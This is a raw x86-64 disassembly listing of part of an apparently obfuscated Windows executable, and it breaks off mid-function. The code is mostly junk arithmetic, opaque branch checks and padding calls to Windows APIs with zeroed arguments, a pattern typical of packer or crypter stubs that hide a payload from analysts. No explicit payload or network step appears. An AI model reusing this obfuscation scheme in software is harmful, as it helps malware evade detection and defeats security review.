mov dword [rsp + 0x1a1c], 0x7427fc2
mov byte [rsp + 0xc0], 0x2b
mov dword [rsp + 0x1a20], 0xabd018d8
mov byte [rsp + 0xc1], 0x68
mov byte [rsp + 0xc2], 0x47
mov eax, 0xc65
mov word [rsp + 0x72c], ax
mov byte [rsp + 0xc3], 0x26
mov byte [rsp + 0xc4], 0x39
mov dword [rsp + 0x1a24], 0x7158cfd3
movabs rax, 0x36b74babeb6956e0
mov qword [rsp + 0x3258], rax
movabs rax, 0x13eb80ccea2c2ad7
mov qword [rsp + 0x3260], rax
mov byte [rsp + 0xc5], 0xbe
mov dword [rsp + 0x1a28], 0x9ad8
mov eax, dword [rsp + 0x1938]
sub eax, 0x5ae29836
mov dword [rsp + 0x1938], eax
mov dword [rsp + 0x1a2c], 0x3c5e
movsx eax, byte [section..data]
add eax, 0x24
mov byte [section..data], al
movzx eax, byte [section..data]
mov byte [rsp + 0xc6], al
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1a30], al
cmp byte [rsp + 0x1a30], 0x2f
je 0x140002a3c
cmp byte [rsp + 0x1a30], 0x6a
je 0x140002a0d
jmp 0x140002ac3
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x1a34], 0xb3d0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
jmp 0x140002ac3
lea r9, [rsp + 0x3268]
lea r8, [rsp + 0x1a38]
mov rdx, qword [rsp + 0x3268]
lea rcx, [rsp + 0x1a38]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x1a38], eax
movsx eax, byte [section..data]
and eax, 0x3d
mov byte [rsp + 0xc6], al
lea rdx, [rsp + 0x1a3c]
mov rcx, qword [rsp + 0x3270]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x1a3c], eax
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc5]
mov r8d, 0x96
movzx edx, byte [rsp + 0xc5]
mov ecx, 0xa3
call fcn.1400bb700
nop
mov eax, dword [rsp + 0x1a3c]
mov dword [rsp + 0x1a40], eax
mov eax, 0x662e
mov word [0x1400dded0], ax
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1a44], al
cmp byte [rsp + 0x1a44], 0xbe
je 0x140002afb
jmp 0x1400bb5ef
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, byte [section..data]
sub eax, 0x48
mov byte [rsp + 0xc6], al
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
movsx eax, byte [rsp + 0xc6]
and eax, 0x2f
mov byte [section..data], al
movsx eax, byte [section..data]
sub eax, 0x15
mov byte [rsp + 0xc6], al
movsx eax, byte [section..data]
add eax, 0x67
mov byte [rsp + 0xc6], al
mov eax, dword [rsp + 0x1a40]
mov dword [rsp + 0x1a3c], eax
mov eax, dword [rsp + 0x1938]
add eax, 0x5f9860de
mov dword [rsp + 0x1938], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [rsp + 0xc5]
sub eax, 0x62
mov byte [rsp + 0xc5], al
movzx eax, byte [rsp + 0xc5]
shl eax, 3
mov byte [rsp + 0xc5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov eax, dword [rsp + 0x1a2c]
add eax, 0xf5
mov dword [rsp + 0x1a2c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [rsp + 0x1938]
xor eax, 0x2f9954f7
mov dword [rsp + 0x1938], eax
movzx eax, word [0x1400dded0]
mov word [rsp + 0x730], ax
mov eax, dword [rsp + 0x1a48]
movzx ecx, al
mov eax, dword [rsp + 0x1a40]
shr eax, cl
mov dword [rsp + 0x1a3c], eax
movzx eax, byte [rsp + 0xc5]
or eax, 0x8b
mov byte [rsp + 0xc5], al
mov eax, dword [rsp + 0x1a3c]
mov ecx, dword [rsp + 0x1a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
movsx eax, word [0x1400dded0]
add eax, 0x198
mov word [rsp + 0x730], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movsx eax, byte [section..data]
sub eax, 0x7e
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movsx eax, byte [rsp + 0xc6]
sub eax, 0x16
mov byte [section..data], al
movsx eax, word [0x1400dded0]
add eax, 0x5fcb
mov word [rsp + 0x730], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov eax, dword [rsp + 0x1938]
and eax, 0x328cc6e0
mov dword [rsp + 0x1938], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, byte [rsp + 0xc5]
sub eax, 0xa
mov byte [rsp + 0xc5], al
movsx eax, byte [section..data]
add eax, 0x7b
mov byte [rsp + 0xc6], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a3c], eax
movsx eax, byte [section..data]
sub eax, 0x1e
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, byte [section..data]
shl eax, 1
mov byte [rsp + 0xc6], al
movzx eax, byte [rsp + 0xc5]
xor eax, 0x5f
mov byte [rsp + 0xc5], al
cmp dword [rsp + 0x1a2c], 0x6585
jne 0x140002afb
movsx eax, byte [rsp + 0xc6]
cdq
mov ecx, 6
idiv ecx
movsx ecx, byte [section..data]
cmp eax, ecx
jne 0x140002e07
mov eax, dword [rsp + 0x1a48]
movzx ecx, al
mov eax, dword [rsp + 0x1a3c]
shr eax, cl
mov dword [rsp + 0x1a40], eax
lea rcx, [rsp + 0xdf30]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x1a4c], eax
mov dword [rsp + 0x1a50], 0x12200
movsx eax, word [rsp + 0x730]
mov dword [rsp + 0x1a54], eax
cmp dword [rsp + 0x1a54], 0xffffc5f9
je 0x140002e33
jmp 0x140002fce
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1a58], al
cmp byte [rsp + 0x1a58], 0xbe
je 0x140002e51
jmp 0x140002fac
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1a5c], al
cmp byte [rsp + 0x1a5c], 0x2c
je 0x140002e7d
cmp byte [rsp + 0x1a5c], 0x4e
je 0x140002f92
jmp 0x140002f9f
lea rax, [0x1400dded0]
mov qword [rsp + 0x3278], rax
mov dword [rsp + 0x1a60], 0xcd08
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1a64], al
cmp byte [rsp + 0x1a64], 0x2c
je 0x140002ec3
cmp byte [rsp + 0x1a64], 0x52
je 0x140002f7f
jmp 0x140002f90
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
nop
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov dword [rsp + 0x1a68], eax
cmp dword [rsp + 0x1a68], 0x662e
je 0x140002eef
jmp 0x140002f61
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1a6c], al
cmp byte [rsp + 0x1a6c], 0x8e
je 0x140002f0a
jmp 0x140002f5f
movzx eax, byte [rsp + 0xc5]
or eax, 0x33
mov byte [rsp + 0xc5], al
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
and eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc5]
sub eax, 0xc
mov byte [rsp + 0xc5], al
lea rcx, [rsp + 0xdb70]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x1a38], eax
jmp 0x140002f7d
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
jmp 0x140002f90
movsx eax, byte [section..data]
sub eax, 0x77
mov byte [rsp + 0xc6], al
jmp 0x140002f9f
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x1a70], eax
mov dword [rsp + 0x1a74], 0x6dc4
jmp 0x140002fcc
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
jmp 0x140003014
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a3c], eax
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1938]
mov r8w, 0x12
mov edx, dword [rsp + 0x1938]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400bcc50
nop
mov dword [rsp + 0x1a78], 0xc5b1
cmp dword [rsp + 0x1a34], 0xd8db
je 0x14000318f
movsx eax, byte [rsp + 0xc6]
and eax, 0x61
mov byte [section..data], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x1938]
add eax, 0x54a57ea0
mov dword [rsp + 0x1938], eax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc5]
sub eax, 0x7b
mov byte [rsp + 0xc5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
xor eax, ecx
mov word [rsp + 0x730], ax
movzx eax, byte [rsp + 0xc5]
or eax, 0x7e
mov byte [rsp + 0xc5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, word [0x1400dded0]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x730], ax
movsx eax, byte [section..data]
shl eax, 6
mov byte [rsp + 0xc6], al
movsx eax, byte [section..data]
and eax, 0x68
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rsp + 0x1a34]
add eax, 0x6d
mov dword [rsp + 0x1a34], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a3c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
nop
jmp 0x14000301f
mov eax, 0xdb3
mov word [rsp + 0x734], ax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x3280], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movabs rax, 0xd8bcd61ecbb834d1
mov qword [rsp + 0x3288], rax
mov dword [rsp + 0x1a7c], 0x2523
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1a80], al
cmp byte [rsp + 0x1a80], 0xdc
je 0x140003207
jmp 0x140003301
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1a84], eax
cmp dword [rsp + 0x1a84], 0x3392920
je 0x1400032bc
cmp dword [rsp + 0x1a84], 0x1f1feb91
je 0x140003250
jmp 0x1400032fc
movzx eax, word [rsp + 0x734]
add eax, 0xd78
mov word [rsp + 0x734], ax
lea rdx, [rsp + 0x734]
mov rcx, qword [rsp + 0x3268]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov word [rsp + 0x730], ax
lea rdx, [rsp + 0x1938]
mov rcx, qword [rsp + 0x3290]
call qword [sym.imp.USER32.dll_GetTitleBarInfo]
mov dword [rsp + 0x1a4c], eax
jmp 0x1400032fc
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
and eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
mov rax, qword [rsp + 0x3280]
movzx r8d, byte [rax]
movzx edx, word [rsp + 0x730]
mov ecx, dword [rsp + 0x1a40]
call fcn.1400bc550
nop
jmp 0x1400bb577
movsx eax, byte [rsp + 0xc6]
imul eax, eax, 0x11
movsx ecx, byte [section..data]
cmp eax, ecx
jge 0x140003420
movabs rax, 0x19bc35784f7e9b5b
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov eax, dword [rsp + 0x1a40]
mov dword [rsp + 0x1a88], eax
cmp dword [rsp + 0x1a88], 0xccde1a4a
je 0x14000335b
jmp 0x1400033ea
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
shl eax, cl
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
lea r9, [rsp + 0x730]
mov r8d, 0x65
mov edx, 0x52
mov rcx, qword [rsp + 0x3298]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x1a4c], eax
mov eax, dword [rsp + 0x1a40]
mov ecx, dword [rsp + 0x1a48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a3c], eax
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
sar eax, cl
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
xor eax, 0x31
mov byte [rsp + 0xc5], al
jmp 0x140003420
mov qword [rsp + 0x20], 0xfa
mov r9, qword [rsp + 0x32a0]
mov r8, qword [rsp + 0x32a8]
lea rdx, str.Medicated_Godparents
mov rcx, qword [rsp + 0x32b0]
call qword [sym.imp.USER32.dll_CreateDialogParamA]
mov qword [rsp + 0x32b8], rax
cmp dword [rsp + 0x1a50], 0xd681
jb 0x140003506
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, word [rsp + 0x734]
and eax, 0xb0c
mov word [rsp + 0x734], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movsx eax, byte [section..data]
add eax, 0x7d
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movsx eax, byte [rsp + 0xc6]
sub eax, 0x61
mov byte [section..data], al
mov eax, dword [rsp + 0x1a70]
mov dword [rsp + 0x1a48], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x1a50]
sub eax, 0xfb
mov dword [rsp + 0x1a50], eax
movsx eax, byte [section..data]
sub eax, 0x37
mov byte [rsp + 0xc6], al
movabs rax, 0x1cfc924cf077f004
mov rcx, qword [rsp + 0x3288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
jmp 0x140003420
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rax, [rsp + 0x1938]
mov qword [rsp + 0x32c0], rax
mov dword [rsp + 0x1a8c], 0x3ac7
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1a90], eax
cmp dword [rsp + 0x1a90], 0x31d9d5d9
je 0x14000354e
jmp 0x1400035b7
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movsx eax, byte [section..data]
add eax, 5
mov byte [rsp + 0xc6], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xa2
mov r9d, 0x31
mov r8d, 0x6e
mov edx, 0xcf
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_MoveWindow]
mov dword [rsp + 0x1a94], eax
jmp 0x140003601
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x32c8], rax
mov dword [rsp + 0x1a98], 0xac45
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0x734]
mov word [rsp + 0x738], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x1a9c], 0x8f6b
lea rax, [rsp + 0x730]
mov qword [rsp + 0x32d0], rax
mov dword [rsp + 0x1aa0], 0x7bbf
mov dword [rsp + 0x1aa4], 0x7a68
movsx eax, byte [rsp + 0xc6]
add eax, 0x2f
movsx ecx, byte [section..data]
cmp eax, ecx
jne 0x140003689
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
and eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
movsx eax, byte [section..data]
sar eax, 1
mov byte [rsp + 0xc6], al
mov r8d, 0xbd
lea rdx, [rsp + 0xddf0]
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov dword [rsp + 0x1aa8], eax
cmp dword [rsp + 0x1a78], 0xc710
jae 0x1400039cf
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0x1a3c]
movzx ecx, al
mov eax, dword [rsp + 0x1a48]
shl eax, cl
mov dword [rsp + 0x1a40], eax
movabs rax, 0x47ca285adf8d3c54
mov rcx, qword [rsp + 0x3288]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, byte [section..data]
sub eax, 0x46
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov word [rsp + 0x730], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movsx eax, byte [rsp + 0xc6]
and eax, 0x59
mov byte [section..data], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
add eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx eax, word [rsp + 0x734]
add eax, 0xc87
mov word [rsp + 0x738], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x1a40]
mov ecx, dword [rsp + 0x1a70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a78]
add eax, 9
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movsx eax, byte [section..data]
add eax, 0x37
mov byte [rsp + 0xc6], al
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sar eax, cl
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc5], al
mov eax, dword [rsp + 0x1aa8]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x32d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x32d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1938], eax
mov eax, dword [rsp + 0x1a40]
mov ecx, dword [rsp + 0x1a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
movsx eax, byte [section..data]
and eax, 4
mov byte [rsp + 0xc6], al
jmp 0x140003689
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x32e0], rax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x32c8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140003a9f
movzx eax, word [rsp + 0x730]
mov word [rsp + 0x73c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsp + 0x1aac], 0x2f95
mov rax, qword [rsp + 0x3288]
mov qword [rsp + 0x32e8], rax
movabs rax, 0xaee6a8e7538250e5
cmp qword [rsp + 0x32e8], rax
je 0x140003a5d
jmp 0x140003a8d
movsx eax, byte [section..data]
sub eax, 0x76
mov byte [rsp + 0xc6], al
movsx eax, word [rsp + 0x730]
movsx ecx, word [rsp + 0x73c]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
jmp 0x140003a9d
lea rax, [rsp + 0x1a3c]
mov qword [rsp + 0x32f0], rax
jmp 0x140003af5
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1aa8]
sar eax, cl
mov dword [rsp + 0x1938], eax
lea rdx, [rsp + 0x1938]
mov rcx, qword [rsp + 0x3270]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x1a40], eax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
or eax, ecx
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x3288]
mov qword [rsp + 0x32f8], rax
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1ab0], al
cmp byte [rsp + 0x1ab0], 0
je 0x140003b23
jmp 0x1400bb412
movabs rax, 0x5bd94028fe0a1c2e
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x32f8]
jbe 0x140003c1e
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1ab4], eax
cmp dword [rsp + 0x1ab4], 0x34cc0a48
je 0x140003b7d
cmp dword [rsp + 0x1ab4], 0xac293c6b
je 0x140003bf9
jmp 0x140003c19
lea rax, [rsp + 0x32f8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x3300]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x3308]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x3310]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3298]
mov r8, qword [rsp + 0x3300]
mov rdx, qword [rsp + 0x3268]
mov ecx, 0x34
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
jmp 0x140003c19
movabs rax, 0x28adcc9c0ad1341e
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
jmp 0x140003cf0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [0x1400dded0]
mov qword [rsp + 0x3318], rax
mov dword [rsp + 0x1ab8], 0x75c8
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
shl eax, cl
mov word [0x1400dd004], ax
mov dword [rsp + 0x1abc], 0xb90
lea rax, [rsp + 0xc6]
mov qword [rsp + 0x3320], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
nop
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1ac0], eax
cmp dword [rsp + 0x1ac0], 0x6afdc551
je 0x140003cbc
jmp 0x140003ce1
lea rcx, [rsp + 0xdbf0]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x1a38], eax
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
jmp 0x140003cf0
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0xc7], al
movsx eax, byte [section..data]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc6], al
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
or eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x32c0]
